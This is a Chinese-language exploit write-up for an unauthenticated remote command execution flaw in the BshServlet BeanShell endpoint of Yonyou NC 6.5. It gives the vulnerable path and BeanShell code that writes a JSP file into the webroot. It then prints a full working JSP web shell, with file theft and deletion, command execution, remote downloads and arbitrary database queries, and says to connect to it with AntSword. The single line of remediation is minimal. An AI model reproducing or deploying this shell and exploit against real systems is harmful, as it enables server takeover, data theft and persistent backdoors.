用友 NC bsh.servlet.BshServlet RCE利用

用友 NC bsh.servlet.BshServlet RCE利用

1.漏洞介绍

用友 NC bsh.servlet.BshServlet 存在远程命令执行漏洞，该漏洞为远程命令执行漏洞，在无需登陆系统的情况下，攻击者可通过BeanShell测试接口直接执行任意命令，恶意攻击者成功利用该漏洞可获得目标系统管理权限，系统如果直接暴露在互联网上风险较大。

影响版本：用友 NC6.5版本

在漏洞挖掘过程中碰到了这个漏洞于是记录一下如何利用

2.漏洞利用

1.网站首页

访问：

servlet/~ic/bsh.servlet.BshServlet

使用exce进行远程命令执行

使用以下命令写入jsp一句话

import sun.misc.BASE64Decoder;

BASE64Decoder decoder = new BASE64Decoder();
FileWriter fw = new FileWriter(new File("./webapps/nc_web/123.jsp"));
String data = "MTIz";
String str = new String(decoder.decodeBuffer(data), "utf-8");
fw.write(str);
fw.close();

data为jsp一句话内容,base64加密

base64加密以下jsp马

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!String Pwd = "pass";

    String EC(String s, String c) throws Exception {
        return s;
    }//new String(s.getBytes("ISO-8859-1"),c);}

    Connection GC(String s) throws Exception {
        String[] x = s.trim().split("\r\n");
        Class.forName(x[0].trim()).newInstance();
        Connection c = DriverManager.getConnection(x[1].trim());
        if (x.length > 2) {
            c.setCatalog(x[2].trim());
        }
        return c;
    }

    void AA(StringBuffer sb) throws Exception {
        File r[] = File.listRoots();
        for (int i = 0; i < r.length; i++) {
            sb.append(r[i].toString().substring(0, 2));
        }
    }

    void BB(String s, StringBuffer sb) throws Exception {
        File oF = new File(s), l[] = oF.listFiles();
        String sT, sQ, sF = "";
        java.util.Date dt;
        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        for (int i = 0; i < l.length; i++) {
            dt = new java.util.Date(l[i].lastModified());
            sT = fm.format(dt);
            sQ = l[i].canRead() ? "R" : "";
            sQ += l[i].canWrite() ? " W" : "";
            if (l[i].isDirectory()) {
                sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
                        + "\t" + sQ + "\n");
            } else {
                sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
                        + sQ + "\n";
            }
        }
        sb.append(sF);
    }

    void EE(String s) throws Exception {
        File f = new File(s);
        if (f.isDirectory()) {
            File x[] = f.listFiles();
            for (int k = 0; k < x.length; k++) {
                if (!x[k].delete()) {
                    EE(x[k].getPath());
                }
            }
        }
        f.delete();
    }

    void FF(String s, HttpServletResponse r) throws Exception {
        int n;
        byte[] b = new byte[512];
        r.reset();
        ServletOutputStream os = r.getOutputStream();
        BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
        os.write(("->" + "|").getBytes(), 0, 3);
        while ((n = is.read(b, 0, 512)) != -1) {
            os.write(b, 0, n);
        }
        os.write(("|" + "<-").getBytes(), 0, 3);
        os.close();
        is.close();
    }

    void GG(String s, String d) throws Exception {
        String h = "0123456789ABCDEF";
        int n;
        File f = new File(s);
        f.createNewFile();
        FileOutputStream os = new FileOutputStream(f);
        for (int i = 0; i < d.length(); i += 2) {
            os
                    .write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d
                            .charAt(i + 1))));
        }
        os.close();
    }

    void HH(String s, String d) throws Exception {
        File sf = new File(s), df = new File(d);
        if (sf.isDirectory()) {
            if (!df.exists()) {
                df.mkdir();
            }
            File z[] = sf.listFiles();
            for (int j = 0; j < z.length; j++) {
                HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
            }
        } else {
            FileInputStream is = new FileInputStream(sf);
            FileOutputStream os = new FileOutputStream(df);
            int n;
            byte[] b = new byte[512];
            while ((n = is.read(b, 0, 512)) != -1) {
                os.write(b, 0, n);
            }
            is.close();
            os.close();
        }
    }

    void II(String s, String d) throws Exception {
        File sf = new File(s), df = new File(d);
        sf.renameTo(df);
    }

    void JJ(String s) throws Exception {
        File f = new File(s);
        f.mkdir();
    }

    void KK(String s, String t) throws Exception {
        File f = new File(s);
        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        java.util.Date dt = fm.parse(t);
        f.setLastModified(dt.getTime());
    }

    void LL(String s, String d) throws Exception {
        URL u = new URL(s);
        int n;
        FileOutputStream os = new FileOutputStream(d);
        HttpURLConnection h = (HttpURLConnection) u.openConnection();
        InputStream is = h.getInputStream();
        byte[] b = new byte[512];
        while ((n = is.read(b, 0, 512)) != -1) {
            os.write(b, 0, n);
        }
        os.close();
        is.close();
        h.disconnect();
    }

    void MM(InputStream is, StringBuffer sb) throws Exception {
        String l;
        BufferedReader br = new BufferedReader(new InputStreamReader(is));
        while ((l = br.readLine()) != null) {
            sb.append(l + "\r\n");
        }
    }

    void NN(String s, StringBuffer sb) throws Exception {
        Connection c = GC(s);
        ResultSet r = c.getMetaData().getCatalogs();
        while (r.next()) {
            sb.append(r.getString(1) + "\t");
        }
        r.close();
        c.close();
    }

    void OO(String s, StringBuffer sb) throws Exception {
        Connection c = GC(s);
        String[] t = { "TABLE" };
        ResultSet r = c.getMetaData().getTables(null, null, "%", t);
        while (r.next()) {
            sb.append(r.getString("TABLE_NAME") + "\t");
        }
        r.close();
        c.close();
    }

    void PP(String s, StringBuffer sb) throws Exception {
        String[] x = s.trim().split("\r\n");
        Connection c = GC(s);
        Statement m = c.createStatement(1005, 1007);
        ResultSet r = m.executeQuery("select * from " + x[3]);
        ResultSetMetaData d = r.getMetaData();
        for (int i = 1; i <= d.getColumnCount(); i++) {
            sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)
                    + ")\t");
        }
        r.close();
        m.close();
        c.close();
    }

    void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {
        int i;
        Connection c = GC(s);
        Statement m = c.createStatement(1005, 1008);
        try {
            ResultSet r = m.executeQuery(q);
            ResultSetMetaData d = r.getMetaData();
            int n = d.getColumnCount();
            for (i = 1; i <= n; i++) {
                sb.append(d.getColumnName(i) + "\t|\t");
            }
            sb.append("\r\n");
            while (r.next()) {
                for (i = 1; i <= n; i++) {
                    sb.append(EC(r.getString(i), cs) + "\t|\t");
                }
                sb.append("\r\n");
            }
            r.close();
        } catch (Exception e) {
            sb.append("Result\t|\t\r\n");
            try {
                m.executeUpdate(q);
                sb.append("Execute Successfully!\t|\t\r\n");
            } catch (Exception ee) {
                sb.append(ee.toString() + "\t|\t\r\n");
            }
        }
        m.close();
        c.close();
    }%>
     
     
<%
    String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
    request.setCharacterEncoding(cs);
    response.setContentType("text/html;charset=" + cs);
    String Z = EC(request.getParameter(Pwd) + "", cs);
    String z1 = EC(request.getParameter("z1") + "", cs);
    String z2 = EC(request.getParameter("z2") + "", cs);
    StringBuffer sb = new StringBuffer("");
    try {
        sb.append("->" + "|");
        if (Z.equals("A")) {
            String s = new File(application.getRealPath(request
                    .getRequestURI())).getParent();
            sb.append(s + "\t");
            if (!s.substring(0, 1).equals("/")) {
                AA(sb);
            }
        } else if (Z.equals("B")) {
            BB(z1, sb);
        } else if (Z.equals("C")) {
            String l = "";
            BufferedReader br = new BufferedReader(
                    new InputStreamReader(new FileInputStream(new File(
                            z1))));
            while ((l = br.readLine()) != null) {
                sb.append(l + "\r\n");
            }
            br.close();
        } else if (Z.equals("D")) {
            BufferedWriter bw = new BufferedWriter(
                    new OutputStreamWriter(new FileOutputStream(
                            new File(z1))));
            bw.write(z2);
            bw.close();
            sb.append("1");
        } else if (Z.equals("E")) {
            EE(z1);
            sb.append("1");
        } else if (Z.equals("F")) {
            FF(z1, response);
        } else if (Z.equals("G")) {
            GG(z1, z2);
            sb.append("1");
        } else if (Z.equals("H")) {
            HH(z1, z2);
            sb.append("1");
        } else if (Z.equals("I")) {
            II(z1, z2);
            sb.append("1");
        } else if (Z.equals("J")) {
            JJ(z1);
            sb.append("1");
        } else if (Z.equals("K")) {
            KK(z1, z2);
            sb.append("1");
        } else if (Z.equals("L")) {
            LL(z1, z2);
            sb.append("1");
        } else if (Z.equals("M")) {
            String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
            Process p = Runtime.getRuntime().exec(c);
            MM(p.getInputStream(), sb);
            MM(p.getErrorStream(), sb);
        } else if (Z.equals("N")) {
            NN(z1, sb);
        } else if (Z.equals("O")) {
            OO(z1, sb);
        } else if (Z.equals("P")) {
            PP(z1, sb);
        } else if (Z.equals("Q")) {
            QQ(cs, z1, z2, sb);
        }
    } catch (Exception e) {
        sb.append("ERROR" + ":// " + e.toString());
    }
    sb.append("|" + "<-");
    out.print(sb.toString());
%>

执行成功后

用蚁剑连接

3.漏洞修复

建议使用该产品的用户及时安装该漏洞补丁包